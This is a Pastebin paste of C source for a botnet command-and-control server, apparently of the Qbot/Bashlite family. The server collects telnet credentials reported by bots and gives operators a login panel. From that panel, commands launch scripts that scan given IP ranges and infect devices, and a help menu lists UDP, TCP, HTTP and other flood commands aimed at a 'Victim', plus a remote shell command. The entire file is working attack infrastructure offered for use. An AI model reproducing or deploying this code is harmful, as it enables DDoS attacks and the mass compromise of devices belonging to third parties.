Guest User

Untitled

a guest
Jan 24th, 2018
37
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 23.82 KB | None | 0 0
  1. /*
  2. Screen Usage: screen ./server [client-port] [threads] [cnc-port]
  3. Custom Server Side by Dope Servers enjoyyyy
  4. */
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <stdint.h>
  8. #include <inttypes.h>
  9. #include <string.h>
  10. #include <sys/types.h>
  11. #include <sys/socket.h>
  12. #include <netdb.h>
  13. #include <unistd.h>
  14. #include <time.h>
  15. #include <fcntl.h>
  16. #include <sys/epoll.h>
  17. #include <errno.h>
  18. #include <pthread.h>
  19. #include <signal.h>
  20. #include <arpa/inet.h>
  21. #define MAXFDS 1000000
  22. //////////////////////////////////
  23. struct login_info {
  24. char username[20];
  25. char password[20];
  26. };
  27. static struct login_info accounts[10];
  28. struct clientdata_t {
  29. uint32_t ip;
  30. char connected;
  31. } clients[MAXFDS];
  32. struct telnetdata_t {
  33. int connected;
  34. } managements[MAXFDS];
  35. struct args {
  36. int sock;
  37. struct sockaddr_in cli_addr;
  38. };
  39. static volatile FILE *telFD;
  40. static volatile FILE *fileFD;
  41. static volatile int epollFD = 0;
  42. static volatile int listenFD = 0;
  43. static volatile int OperatorsConnected = 0;
  44. static volatile int TELFound = 0;
  45. static volatile int scannerreport;
  46. //////////////////////////////////
  47. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  48. int total = 0, got = 1;
  49. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  50. return got;
  51. }
  52. void trim(char *str) {
  53. int i;
  54. int begin = 0;
  55. int end = strlen(str) - 1;
  56. while (isspace(str[begin])) begin++;
  57. while ((end >= begin) && isspace(str[end])) end--;
  58. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  59. str[i - begin] = '\0';
  60. }
  61. static int make_socket_non_blocking (int sfd) {
  62. int flags, s;
  63. flags = fcntl (sfd, F_GETFL, 0);
  64. if (flags == -1) {
  65. perror ("fcntl");
  66. return -1;
  67. }
  68. flags |= O_NONBLOCK;
  69. s = fcntl (sfd, F_SETFL, flags);
  70. if (s == -1) {
  71. perror ("fcntl");
  72. return -1;
  73. }
  74. return 0;
  75. }
  76. static int create_and_bind (char *port) {
  77. struct addrinfo hints;
  78. struct addrinfo *result, *rp;
  79. int s, sfd;
  80. memset (&hints, 0, sizeof (struct addrinfo));
  81. hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
  82. hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  83. hints.ai_flags = AI_PASSIVE; /* All interfaces */
  84. s = getaddrinfo (NULL, port, &hints, &result);
  85. if (s != 0) {
  86. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  87. return -1;
  88. }
  89. for (rp = result; rp != NULL; rp = rp->ai_next) {
  90. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  91. if (sfd == -1) continue;
  92. int yes = 1;
  93. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  94. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  95. if (s == 0) {
  96. break;
  97. }
  98. close (sfd);
  99. }
  100. if (rp == NULL) {
  101. fprintf (stderr, "Could not bind\n");
  102. return -1;
  103. }
  104. freeaddrinfo (result);
  105. return sfd;
  106. }
  107. void broadcast(char *msg, int us, char *sender)
  108. {
  109. int sendMGM = 1;
  110. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  111. char *wot = malloc(strlen(msg) + 10);
  112. memset(wot, 0, strlen(msg) + 10);
  113. strcpy(wot, msg);
  114. trim(wot);
  115. time_t rawtime;
  116. struct tm * timeinfo;
  117. time(&rawtime);
  118. timeinfo = localtime(&rawtime);
  119. char *timestamp = asctime(timeinfo);
  120. trim(timestamp);
  121. int i;
  122. for(i = 0; i < MAXFDS; i++)
  123. {
  124. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  125. if(sendMGM && managements[i].connected)
  126. {
  127. send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  128. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  129. send(i, ": ", 2, MSG_NOSIGNAL);
  130. }
  131. printf("sent to fd: %d\n", i);
  132. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  133. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[1;34mBoat\x1b[0m", 13, MSG_NOSIGNAL);
  134. else send(i, "\n", 1, MSG_NOSIGNAL);
  135. }
  136. free(wot);
  137. }
  138. void *BotEventLoop(void *useless) {
  139. struct epoll_event event;
  140. struct epoll_event *events;
  141. int s;
  142. events = calloc (MAXFDS, sizeof event);
  143. while (1) {
  144. int n, i;
  145. n = epoll_wait (epollFD, events, MAXFDS, -1);
  146. for (i = 0; i < n; i++) {
  147. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  148. clients[events[i].data.fd].connected = 0;
  149. close(events[i].data.fd);
  150. continue;
  151. }
  152. else if (listenFD == events[i].data.fd) {
  153. while (1) {
  154. struct sockaddr in_addr;
  155. socklen_t in_len;
  156. int infd, ipIndex;
  157.  
  158. in_len = sizeof in_addr;
  159. infd = accept (listenFD, &in_addr, &in_len);
  160. if (infd == -1) {
  161. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  162. else {
  163. perror ("accept");
  164. break;
  165. }
  166. }
  167.  
  168. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  169. int dup = 0;
  170. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  171. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  172. if(clients[ipIndex].ip == clients[infd].ip) {
  173. dup = 1;
  174. break;
  175. }}
  176. if(dup) {
  177. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  178. close(infd);
  179. continue;
  180. }
  181. s = make_socket_non_blocking (infd);
  182. if (s == -1) { close(infd); break; }
  183. event.data.fd = infd;
  184. event.events = EPOLLIN | EPOLLET;
  185. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  186. if (s == -1) {
  187. perror ("epoll_ctl");
  188. close(infd);
  189. break;
  190. }
  191. clients[infd].connected = 1;
  192. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  193. }
  194. continue;
  195. }
  196. else {
  197. int datafd = events[i].data.fd;
  198. struct clientdata_t *client = &(clients[datafd]);
  199. int done = 0;
  200. client->connected = 1;
  201. while (1) {
  202. ssize_t count;
  203. char buf[2048];
  204. memset(buf, 0, sizeof buf);
  205. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  206. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  207. trim(buf);
  208. if(strcmp(buf, "PING") == 0) {
  209. if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  210. continue;
  211. }
  212. if(strstr(buf, "REPORT ") == buf) {
  213. char *line = strstr(buf, "REPORT ") + 7;
  214. fprintf(telFD, "%s\n", line);
  215. fflush(telFD);
  216. TELFound++;
  217. continue;
  218. }
  219. if(strstr(buf, "PROBING") == buf) {
  220. char *line = strstr(buf, "PROBING");
  221. scannerreport = 1;
  222. continue;
  223. }
  224. if(strstr(buf, "REMOVING PROBE") == buf) {
  225. char *line = strstr(buf, "REMOVING PROBE");
  226. scannerreport = 0;
  227. continue;
  228. }
  229. if(strcmp(buf, "PONG") == 0) {
  230. continue;
  231. }
  232. printf("buf: \"%s\"\n", buf);
  233. }
  234. if (count == -1) {
  235. if (errno != EAGAIN) {
  236. done = 1;
  237. }
  238. break;
  239. }
  240. else if (count == 0) {
  241. done = 1;
  242. break;
  243. }
  244. if (done) {
  245. client->connected = 0;
  246. close(datafd);
  247. }}}}}}
  248. unsigned int BotsConnected() {
  249. int i = 0, total = 0;
  250. for(i = 0; i < MAXFDS; i++) {
  251. if(!clients[i].connected) continue;
  252. total++;
  253. }
  254. return total;
  255. }
  256. void *TitleWriter(void *sock) {
  257. int datafd = (int)sock;
  258. char string[2048];
  259. while(1) {
  260. memset(string, 0, 2048);
  261. sprintf(string, "%c]0;Boats Connected: %d| Users: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  262. if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  263. sleep(2);
  264. }}
  265. int Find_Login(char *str) {
  266. FILE *fp;
  267. int line_num = 0;
  268. int find_result = 0, find_line=0;
  269. char temp[512];
  270.  
  271. if((fp = fopen("login.txt", "r")) == NULL){
  272. return(-1);
  273. }
  274. while(fgets(temp, 512, fp) != NULL){
  275. if((strstr(temp, str)) != NULL){
  276. find_result++;
  277. find_line = line_num;
  278. }
  279. line_num++;
  280. }
  281. if(fp)
  282. fclose(fp);
  283. if(find_result == 0)return 0;
  284. return find_line;
  285. }
  286. void *BotWorker(void *sock) {
  287. int datafd = (int)sock;
  288. int find_line;
  289. OperatorsConnected++;
  290. pthread_t title;
  291. char buf[2048];
  292. char* username;
  293. char* password;
  294. memset(buf, 0, sizeof buf);
  295. char botnet[2048];
  296. memset(botnet, 0, 2048);
  297. char botcount [2048];
  298. memset(botcount, 0, 2048);
  299. char statuscount [2048];
  300. memset(statuscount, 0, 2048);
  301.  
  302. FILE *fp;
  303. int i=0;
  304. int c;
  305. fp=fopen("login.txt", "r");
  306. while(!feof(fp)) {
  307. c=fgetc(fp);
  308. ++i;
  309. }
  310. int j=0;
  311. rewind(fp);
  312. while(j!=i-1) {
  313. fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  314. ++j;
  315. }
  316.  
  317. if(send(datafd, "\x1b[30mUsername:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  318. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  319. trim(buf);
  320. char* nickstring;
  321. sprintf(accounts[find_line].username, buf);
  322. nickstring = ("%s", buf);
  323. find_line = Find_Login(nickstring);
  324. if(strcmp(nickstring, accounts[find_line].username) == 0){
  325. if(send(datafd, "\x1b[30mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  326. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  327. trim(buf);
  328. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  329. memset(buf, 0, 2048);
  330. goto Banner;
  331. }
  332. failed:
  333. if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  334. char failed_line1[80];
  335.  
  336. sprintf(failed_line1, "\x1b[1;35mWrong Answer Get Nulled Bitch\r\n");
  337. if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  338. sleep(5);
  339. goto end;
  340.  
  341. Banner:
  342. pthread_create(&title, NULL, &TitleWriter, sock);
  343. char ascii_banner_line1 [5000];
  344. char ascii_banner_line2 [5000];
  345. char ascii_banner_line3 [5000];
  346. char ascii_banner_line4 [5000];
  347. char ascii_banner_line5 [5000];
  348. char ascii_banner_line6 [5000];
  349. char ascii_banner_line7 [5000];
  350. char ascii_banner_line8 [5000];
  351. char ascii_banner_line9 [5000];
  352. char ascii_banner_line10 [5000];
  353. char welcome_line [80];
  354. char banner_bot_count [2048];
  355. memset(banner_bot_count, 0, 2048);
  356.  
  357. sprintf(ascii_banner_line1, "\x1b[1;34m ▄▄▄▄ ▒█████ ▄▄▄ ▄▄▄█████▓ ███▄ █ ▓█████▄▄▄█████▓ \r\n");
  358. sprintf(ascii_banner_line2, "\x1b[1;34m ▓█████▄ ▒██▒ ██▒▒████▄ ▓ ██▒ ▓▒ ██ ▀█ █ ▓█ ▀▓ ██▒ ▓▒ \r\n");
  359. sprintf(ascii_banner_line3, "\x1b[1;34m ▒██▒ ▄██▒██░ ██▒▒██ ▀█▄ ▒ ▓██░ ▒░▓██ ▀█ ██▒▒███ ▒ ▓██░ ▒░ \r\n");
  360. sprintf(ascii_banner_line4, "\x1b[1;34m ▒██░█▀ ▒██ ██░░██▄▄▄▄██░ ▓██▓ ░ ▓██▒ ▐▌██▒▒▓█ ▄░ ▓██▓ ░ \r\n");
  361. sprintf(ascii_banner_line5, "\x1b[1;34m ░▓█ ▀█▓░ ████▓▒░ ▓█ ▓██▒ ▒██▒ ░ ▒██░ ▓██░░▒████▒ ▒██▒ ░ \r\n");
  362. sprintf(ascii_banner_line6, "\x1b[1;34m ░▒▓███▀▒░ ▒░▒░▒░ ▒▒ ▓▒█░ ▒ ░░ ░ ▒░ ▒ ▒ ░░ ▒░ ░ ▒ ░░ \r\n");
  363. sprintf(ascii_banner_line7, "\x1b[1;34m ▒░▒ ░ ░ ▒ ▒░ ▒ ▒▒ ░ ░ ░ ░░ ░ ▒░ ░ ░ ░ ░ \r\n");
  364. sprintf(ascii_banner_line8, "\x1b[1;34m ░ ░ ░ ░ ░ ▒ ░ ▒ ░ ░ ░ ░ ░ ░ \r\n");
  365. sprintf(ascii_banner_line9, "\x1b[1;34m ░ ░ ░ ░ ░ ░ ░ ░ \r\n");
  366. sprintf(ascii_banner_line10, "\x1b[1;34m ░ \r\n");
  367. sprintf(welcome_line, "\r\n\ \x1b[1;34mWelcome, %s\r\n", accounts[find_line].username);
  368. sprintf(banner_bot_count, "\ \x1b[1;34mBoats Connected: %d\r\n", BotsConnected(), OperatorsConnected);
  369.  
  370. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  371. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  372. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  373. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  374. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  375. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  376. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  377. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  378. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  379. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  380. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  381. while(1) {
  382. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  383. if(send(datafd, "\x1b[1;34mBoat\x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  384. break;
  385. }
  386. pthread_create(&title, NULL, &TitleWriter, sock);
  387. managements[datafd].connected = 1;
  388.  
  389. while(fdgets(buf, sizeof buf, datafd) > 0)
  390. {
  391. if(strstr(buf, "BOTS")) {
  392. sprintf(botcount, " Boats Connected: %d | Users: %d\r\n", BotsConnected(), OperatorsConnected);
  393. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  394. continue;
  395. }
  396. if(strstr(buf, "STATUS")){
  397. sprintf(statuscount, "TELNET DEVICES: %d | TELNET STATUS: %d\r\n", TELFound, scannerreport);
  398. if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  399. continue;
  400. }
  401. if(strstr(buf, "STATS")){
  402. sprintf(botcount, "Boats Connected: %d | Users: %d\r\n", BotsConnected(), OperatorsConnected);
  403. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  404. sprintf(statuscount, "TELNET DEVICES: %d | TELNET STATUS: %d\r\n", TELFound, scannerreport);
  405. if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  406. continue;
  407. }
  408. if(strstr(buf, "INFECT")) {
  409. system("python telnet.py filtered.txt");
  410. continue;
  411. }
  412. if(strstr(buf, "REINFECT")) {
  413. system("python w.py filtered_ssh.txt");
  414. continue;
  415. }
  416. if(strstr(buf, "FILTER")) {
  417. system("sort telnet.txt | uniq -u>>filtered_telnet.txt;sort infected.txt | uniq -u>>filtered_ssh.txt");
  418. continue;
  419. }
  420. if(strstr(buf, "LOAD")) {
  421. system("python scan.py 376 LOAD 88 1");
  422. continue;
  423. }
  424. if(strstr(buf, "SCAN1")) {
  425. system("python scan.py 376 B 119.92 lol");
  426. continue;
  427. }
  428. if(strstr(buf, "SCAN2")) {
  429. system("python scan.py 376 B 119.93 lol");
  430. continue;
  431. }
  432. if(strstr(buf, "SCAN3")) {
  433. system("python scan.py 376 B 125.25 1");
  434. continue;
  435. }
  436. if(strstr(buf, "SCAN4")) {
  437. system("python scan.py 376 B 125.26 1");
  438. continue;
  439. }
  440. if(strstr(buf, "SCAN5")) {
  441. system("python scan.py 376 B 125.27 1");
  442. continue;
  443. }
  444. if(strstr(buf, "SCAN6")) {
  445. system("python scan.py 376 B 113.53 1");
  446. continue;
  447. }
  448. if(strstr(buf, "SCAN7")) {
  449. system("python scan.py 376 B 180.180 1");
  450. continue;
  451. }
  452. if(strstr(buf, "SCAN8")) {
  453. system("python scan.py 376 B 185.52 1");
  454. continue;
  455. }
  456. if(strstr(buf, "LUCKY")) {
  457. system("python scan.py 376 LUCKY 88 1");
  458. continue;
  459. }
  460. if(strstr(buf, "LUCKY2")) {
  461. system("python scan.py 376 LUCKY2 88 1");
  462. continue;
  463. }
  464. if(strstr(buf, "SCAN_OFF")) {
  465. system("killall -9 python");
  466. continue;
  467. }
  468. if(strstr(buf, "HELP")) {
  469. pthread_create(&title, NULL, &TitleWriter, sock);
  470. char helpline1 [80];
  471. char helpline2 [80];
  472. char helpline3 [80];
  473. char helpline4 [80];
  474. char helpline5 [80];
  475. char helpline6 [80];
  476. char helpline7 [80];
  477. char helpline8 [80];
  478. char helpline9 [80];
  479. char helpline10 [80];
  480. char helpline11 [80];
  481. char helpline12 [80];
  482. char helpline13 [80];
  483. char helpline14 [80];
  484. char helpline15 [80];
  485.  
  486.  
  487.  
  488. sprintf(helpline1, "\r\n\x1b[1;34m~Attack Commands~\r\n");
  489. sprintf(helpline2, "\x1b[1;34mUDP ~ !* UDP Victim Port Time 32 0 10\r\n");
  490. sprintf(helpline3, "\x1b[1;34mTCP ~ !* TCP Victim Port Time 32 all 0 10\r\n");
  491. sprintf(helpline4, "\x1b[1;34mSTD ~ !* STD Victim Port Time\r\n");
  492. sprintf(helpline5, "\x1b[1;34mHTTP ~ !* HTTP Url Time\r\n");
  493. sprintf(helpline6, "\x1b[1;34mJunk ~ !* JUNK Victim Port Time\r\n");
  494. sprintf(helpline7, "\x1b[1;34mHold ~ !* HOLD Victim Port Time\r\n");
  495. sprintf(helpline8, "\x1b[1;34mKill ~ !* KILLATTK | KILL\r\n");
  496.  
  497. sprintf(helpline9, "\x1b[1;34m~General Commands~\r\n");
  498. sprintf(helpline10, "\x1b[1;34mSHELL ~ !* SH\r\n");
  499. sprintf(helpline11, "\x1b[1;34mBots ~ !* BOTS | BOTS\r\n");
  500. sprintf(helpline12, "\x1b[1;34mStatus ~ !* STATUS | STATUS\r\n");
  501. sprintf(helpline13, "\x1b[1;34mStats ~ STATS\r\n");
  502. sprintf(helpline14, "\x1b[1;34mClear Screen ~ CLEAR\r\n");
  503. sprintf(helpline15, "\x1b[1;34mLogout ~ LOGOUT\r\n");
  504.  
  505.  
  506.  
  507. if(send(datafd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  508. if(send(datafd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  509. if(send(datafd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  510. if(send(datafd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  511. if(send(datafd, helpline5, strlen(helpline5), MSG_NOSIGNAL) == -1) goto end;
  512. if(send(datafd, helpline6, strlen(helpline6), MSG_NOSIGNAL) == -1) goto end;
  513. if(send(datafd, helpline7, strlen(helpline7), MSG_NOSIGNAL) == -1) goto end;
  514. if(send(datafd, helpline8, strlen(helpline8), MSG_NOSIGNAL) == -1) goto end;
  515. if(send(datafd, helpline9, strlen(helpline9), MSG_NOSIGNAL) == -1) goto end;
  516. if(send(datafd, helpline10, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end;
  517. if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  518. if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  519. if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  520. if(send(datafd, helpline14, strlen(helpline14), MSG_NOSIGNAL) == -1) goto end;
  521. if(send(datafd, helpline15, strlen(helpline15), MSG_NOSIGNAL) == -1) goto end;
  522. pthread_create(&title, NULL, &TitleWriter, sock);
  523. continue;
  524. }
  525. if(strstr(buf, "KILL")) {
  526. char killattack [2048];
  527. memset(killattack, 0, 2048);
  528. sprintf(killattack, "!* KILLATTK\r\n");
  529. if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
  530. continue;
  531. }
  532. if(strstr(buf, "CLEAR")) {
  533. char clearscreen [2048];
  534. memset(clearscreen, 0, 2048);
  535. sprintf(clearscreen, "\033[2J\033[1;1H");
  536. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  537. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  538. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  539. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  540. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  541. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  542. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  543. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  544. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  545. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  546. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  547. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  548. while(1) {
  549. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  550. if(send(datafd, "\x1b[1;34mBoat\x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  551. break;
  552. }
  553. continue;
  554. }
  555. if(strstr(buf, "LOGOUT")) {
  556. char logoutmessage [2048];
  557. memset(logoutmessage, 0, 2048);
  558. sprintf(logoutmessage, "Bye, %s", accounts[find_line].username);
  559. if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  560. sleep(5);
  561. goto end;
  562. }
  563. trim(buf);
  564. if(send(datafd, "\x1b[1;34mBoat\x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  565. if(strlen(buf) == 0) continue;
  566. printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  567.  
  568. FILE *LogFile;
  569. LogFile = fopen("server_log.txt", "a");
  570. time_t now;
  571. struct tm *gmt;
  572. char formatted_gmt [50];
  573. char lcltime[50];
  574. now = time(NULL);
  575. gmt = gmtime(&now);
  576. strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  577. fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  578. fclose(LogFile);
  579. broadcast(buf, datafd, accounts[find_line].username);
  580. memset(buf, 0, 2048);
  581. }
  582. end:
  583. managements[datafd].connected = 0;
  584. close(datafd);
  585. OperatorsConnected--;
  586. }
  587. void *BotListener(int port) {
  588. int sockfd, newsockfd;
  589. socklen_t clilen;
  590. struct sockaddr_in serv_addr, cli_addr;
  591. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  592. if (sockfd < 0) perror("ERROR opening socket");
  593. bzero((char *) &serv_addr, sizeof(serv_addr));
  594. serv_addr.sin_family = AF_INET;
  595. serv_addr.sin_addr.s_addr = INADDR_ANY;
  596. serv_addr.sin_port = htons(port);
  597. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  598. listen(sockfd,5);
  599. clilen = sizeof(cli_addr);
  600. while(1) {
  601. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  602. if (newsockfd < 0) perror("ERROR on accept");
  603. pthread_t thread;
  604. pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  605. }}
  606. int main (int argc, char *argv[], void *sock)//~B1NARY~
  607. {
  608. signal(SIGPIPE, SIG_IGN);
  609. int s, threads, port;
  610. struct epoll_event event;
  611. if (argc != 4) {
  612. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  613. exit (EXIT_FAILURE);
  614. }
  615. port = atoi(argv[3]);
  616. telFD = fopen("telnet.txt", "a+");
  617. threads = atoi(argv[2]);
  618. listenFD = create_and_bind (argv[1]);
  619. if (listenFD == -1) abort ();
  620. s = make_socket_non_blocking (listenFD);
  621. if (s == -1) abort ();
  622. s = listen (listenFD, SOMAXCONN);
  623. if (s == -1) {
  624. perror ("listen");
  625. abort ();
  626. }
  627. epollFD = epoll_create1 (0);
  628. if (epollFD == -1) {
  629. perror ("epoll_create");
  630. abort ();
  631. }
  632. event.data.fd = listenFD;
  633. event.events = EPOLLIN | EPOLLET;
  634. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  635. if (s == -1) {
  636. perror ("epoll_ctl");
  637. abort ();
  638. }
  639. pthread_t thread[threads + 2];
  640. while(threads--) {
  641. pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  642. }
  643. pthread_create(&thread[0], NULL, &BotListener, port);
  644. while(1) {
  645. broadcast("PING", -1, "LEL");
  646. sleep(60);
  647. }
  648. close (listenFD);
  649. return EXIT_SUCCESS;
  650. }
Add Comment
Please, Sign In to add comment